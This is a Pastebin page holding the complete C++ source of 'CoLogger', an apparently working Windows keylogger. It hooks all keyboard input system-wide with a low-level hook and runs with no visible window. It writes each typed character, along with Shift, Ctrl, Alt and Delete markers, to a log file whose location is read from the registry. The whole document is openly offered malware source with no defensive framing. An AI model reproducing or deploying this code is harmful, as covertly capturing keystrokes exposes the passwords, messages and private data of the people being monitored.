Advertisement
CorrM

CoLogger

Apr 13th, 2017
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.40 KB | None | 0 0
  1. // CoLogger.cpp : Defines the entry point for the application.
  2. //
  3.  
  4. #include "stdafx.h"
  5. #include "CoLogger.h"
  6. #include <stdio.h>
  7. #include <string>
  8.  
  9. using namespace std;
  10.  
  11. HHOOK HOOKID;
  12. LRESULT CALLBACK KeyHandler(int nCode, WPARAM wParam, LPARAM lParam);
  13. LONG GetStringRegKey(HKEY hKey, const wstring &strValueName, wstring &strValue, const wstring &strDefaultValue);
  14. void AppendToFile(WCHAR *Char, int size);
  15. wstring LogFilePath;
  16.  
  17.  
  18. int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
  19.                      _In_opt_ HINSTANCE hPrevInstance,
  20.                      _In_ LPTSTR    lpCmdLine,
  21.                      _In_ int       nCmdShow)
  22. {
  23.     HOOKID = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHandler, NULL, 0);
  24.  
  25.     if (HOOKID == NULL) {
  26.         OutputDebugString(L"Some Erorr Here 1");
  27.         return 0;
  28.     }
  29.     else
  30.     {
  31.         // Get Log File Path
  32.         HKEY hKey;
  33.         RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE", 0, KEY_READ, &hKey);
  34.  
  35.         WCHAR cCurrentPath[FILENAME_MAX];
  36.         GetCurrentDirectory(FILENAME_MAX, cCurrentPath);
  37.  
  38.         wcscat(cCurrentPath, L"\\cLog.txt");
  39.         GetStringRegKey(hKey, L"cLog", LogFilePath, cCurrentPath);
  40.  
  41.         // Create File If Not Exit
  42.         HANDLE hFile = CreateFile(LogFilePath.c_str(),
  43.                                      GENERIC_WRITE,
  44.                                      0,
  45.                                      NULL,
  46.                                      CREATE_NEW,
  47.                                      FILE_ATTRIBUTE_NORMAL,
  48.                                      NULL);
  49.  
  50.         if (hFile == INVALID_HANDLE_VALUE)
  51.         {
  52.             OutputDebugString(L"File Exists Or Some Erorr :D");
  53.             // Don't Return 0 Here, MeyBe File Exists, Not Erorr (MayBe)
  54.             // you Can Write Your Code To Check :D, Use PathFileExists(_In_ LPCTSTR pszPath) !!
  55.             // return 0;
  56.         } else {
  57.             unsigned char Header[2]; //unicode text file header
  58.             Header[0] = 0xFF;
  59.             Header[1] = 0xFE;
  60.             WriteFile(hFile, Header, 2, NULL, NULL);
  61.             CloseHandle(hFile);
  62.         }
  63.  
  64.  
  65.         MSG WinMsg;
  66.         // Main message loop:
  67.         while (GetMessage(&WinMsg, NULL, 0, 0))
  68.         {
  69.  
  70.         }
  71.     }
  72.  
  73.     return 0;
  74. }
  75.  
  76. LRESULT CALLBACK KeyHandler(int nCode, WPARAM wParam, LPARAM lParam) {
  77.     if (nCode == HC_ACTION) {
  78.         DWORD vkCode = ((KBDLLHOOKSTRUCT *)lParam)->vkCode;
  79.         // Alt Pressed !.?
  80.         bool AltPresed(((KBDLLHOOKSTRUCT *)lParam)->flags == LLKHF_ALTDOWN);
  81.  
  82.         HKL hKl = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));
  83.         ActivateKeyboardLayout(hKl, KLF_SETFORPROCESS);
  84.         wchar_t buffer[2];
  85.  
  86.         BYTE keyStates[256]; GetKeyboardState(keyStates);
  87.         switch (wParam)
  88.         {
  89.             case WM_KEYDOWN:
  90.             case WM_SYSKEYDOWN:
  91.                 // sprintf_s(Buffer, 200, "KeyDown:- %x\n", vkCode);
  92.  
  93.                 // Get Key As Char
  94.                 ToUnicode(
  95.                     vkCode,
  96.                     MapVirtualKey(vkCode, MAPVK_VK_TO_VSC),
  97.                     keyStates,
  98.                     buffer,
  99.                     1,
  100.                     0
  101.                     );
  102.  
  103.                 // Size * 2 => Don't Forget We Use Unicode Chars :D
  104.  
  105.                 if (AltPresed) AppendToFile(L"[ALT]", 5 * 2);
  106.                 switch (vkCode)
  107.                 {
  108.                     case VK_LSHIFT:
  109.                     case VK_RSHIFT:
  110.                         AppendToFile(L"[Shift]", 7 * 2);
  111.                         break;
  112.  
  113.                     case VK_LCONTROL:
  114.                     case VK_RCONTROL:
  115.                         AppendToFile(L"[CTRL]", 6 * 2);
  116.                         break;
  117.  
  118.                     case VK_DELETE:
  119.                     case VK_BACK:
  120.                         AppendToFile(L"[DELETE]", 8 * 2);
  121.                         break;
  122.  
  123.                     case VK_RETURN:
  124.                         //AppendToFile(L"[ENTER]", 7 * 2);
  125.  
  126.                         // To Print NewLine
  127.                         AppendToFile(buffer, 2);
  128.                         break;
  129.  
  130.                     default:
  131.                         // From A(Key) To Z(Key) In (KeyBoard) In English
  132.                         // It's Mean From (ا)(Key) To (ي)(Key) In Arabic At The Same In Other Lang
  133.                         if (vkCode >= 0x30 && vkCode <= 0x5A)
  134.                         {
  135.                             AppendToFile(buffer, 2);
  136.                         }
  137.                         break;
  138.                 }
  139.  
  140.             /*case WM_KEYUP:
  141.             case WM_SYSKEYUP:
  142.                 sprintf_s(Buffer, 200, "KeyUp:- %x\n", vkCode);
  143.                 OutputDebugString(buffer);
  144.                 break;*/
  145.         }
  146.     }
  147.  
  148.     return CallNextHookEx(HOOKID, nCode, wParam, lParam);
  149. }
  150.  
  151.  
  152. void AppendToFile(WCHAR *Char, int size) {
  153.  
  154.     // Create File If Not Exit
  155.     HANDLE hFile = CreateFile(LogFilePath.c_str(),
  156.         FILE_APPEND_DATA,
  157.         FILE_SHARE_READ, // allow multiple readers
  158.         NULL,
  159.         OPEN_ALWAYS,
  160.         FILE_ATTRIBUTE_NORMAL,
  161.         NULL);
  162.  
  163.     WriteFile(hFile, Char, size, NULL, NULL);
  164.     CloseHandle(hFile);
  165. }
  166.  
  167.  
  168. LONG GetStringRegKey(HKEY hKey, const wstring &strValueName, wstring &strValue, const wstring &strDefaultValue)
  169. {
  170.     strValue = strDefaultValue;
  171.     WCHAR szBuffer[512];
  172.     DWORD dwBufferSize = sizeof(szBuffer);
  173.     ULONG nError;
  174.     nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, &dwBufferSize);
  175.     if (ERROR_SUCCESS == nError && wcscmp(szBuffer, L"") != 0)
  176.     {
  177.         strValue = szBuffer;
  178.     }
  179.     return nError;
  180. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement